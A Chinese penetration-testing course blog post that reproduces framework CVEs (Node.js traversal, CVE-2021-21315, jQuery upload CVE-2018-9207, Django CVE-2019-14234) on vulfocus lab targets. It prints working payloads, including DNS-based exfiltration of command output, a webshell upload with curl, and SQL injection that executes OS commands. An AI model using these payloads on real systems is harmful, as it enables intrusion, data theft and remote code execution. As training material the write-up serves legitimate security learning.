【小迪安全2023】第63天:服务攻防-框架安全&CVE复现&Django&Flask&Node.Js&uQuery

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

[0x1 大纲](#0x1 大纲)

[0x2 知识点](#0x2 知识点)

[0x3 案例复现](#0x3 案例复现)

案例一:JavaScript-开发框架安全-Jquery&Node

1、node.js目录穿越

2、CVE-2021-21315命令执行

[3、jquery 文件上传 (CVE-2018-9207)](#3、jquery 文件上传 (CVE-2018-9207))

案例二:Python-开发框架安全-Django&Flask

1、django简介

[2、django SQL注入(CVE-2019-14234)](#2、django SQL注入(CVE-2019-14234))


0x1 大纲

0x2 知识点

中间件及框架列表:

cs 复制代码
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3、开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架:

cs 复制代码
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
cs 复制代码
#章节内容:
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
 
#前置知识:
-中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
 
-应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
 
-开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式

0x3 案例复现

案例一:JavaScript-开发框架安全-Jquery&Node

1、node.js目录穿越

cve_2017_14849

https://vulfocus.cn/#/dashboard

利用插件识别

还有就是这个Google插件Penetration Testing Kit

漏洞复现payload:

cs 复制代码
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
2、CVE-2021-21315命令执行

漏洞复现payload:

cs 复制代码
/api/getServices?name[]=$(ping%20`ls%20/tmp`.z5xwmr.dnslog.cn)
3、jquery 文件上传 (CVE-2018-9207)
cs 复制代码
jQuery Upload File <= 4.0.2 中的任意文件上传

根目录下/jquery-upload-file

通过访问这个框架的文件上传目录

漏洞复现的payload:

cs 复制代码
curl -F "myfile=@sqzr.php" "http://123.58.224.8:59964/jquery-upload-file/php/upload.php"

可以看到sqzr.php木马文件已经上传完成了

成功连接蚁剑,然后进行getshell操作:

案例二:Python-开发框架安全-Django&Flask

1、django简介

css 复制代码
Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模版 T,使用
Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件,使得 Django 具有较强的可扩展性。

2、django SQL注入(CVE-2019-14234)

这个漏洞需要我们先登录进去,然后才可以进行漏洞利用,所以实际中不是很常见

注入点在/admin/vuln/collection/目录下

漏洞利用的payload:

cs 复制代码
单引号已注入成功,SQL 语句报错:
/admin/vuln/collection/?detail__a%27b=123
创建 cmd_exec:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20
调用 cmd_exec 执行命令:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping 37p5oe.dmp4tj.dnslog.cn%27--%20

单引号注入

创建cmd_exec

dns外带

相关推荐
XiaoLeisj1 小时前
【JavaEE初阶 — 多线程】单例模式 & 指令重排序问题
java·开发语言·java-ee
paopaokaka_luck1 小时前
【360】基于springboot的志愿服务管理系统
java·spring boot·后端·spring·毕业设计
dayouziei1 小时前
java的类加载机制的学习
java·学习
励志成为嵌入式工程师2 小时前
c语言简单编程练习9
c语言·开发语言·算法·vim
捕鲸叉2 小时前
创建线程时传递参数给线程
开发语言·c++·算法
A charmer2 小时前
【C++】vector 类深度解析:探索动态数组的奥秘
开发语言·c++·算法
Peter_chq2 小时前
【操作系统】基于环形队列的生产消费模型
linux·c语言·开发语言·c++·后端
Yaml43 小时前
Spring Boot 与 Vue 共筑二手书籍交易卓越平台
java·spring boot·后端·mysql·spring·vue·二手书籍
小小小妮子~3 小时前
Spring Boot详解:从入门到精通
java·spring boot·后端
hong1616883 小时前
Spring Boot中实现多数据源连接和切换的方案
java·spring boot·后端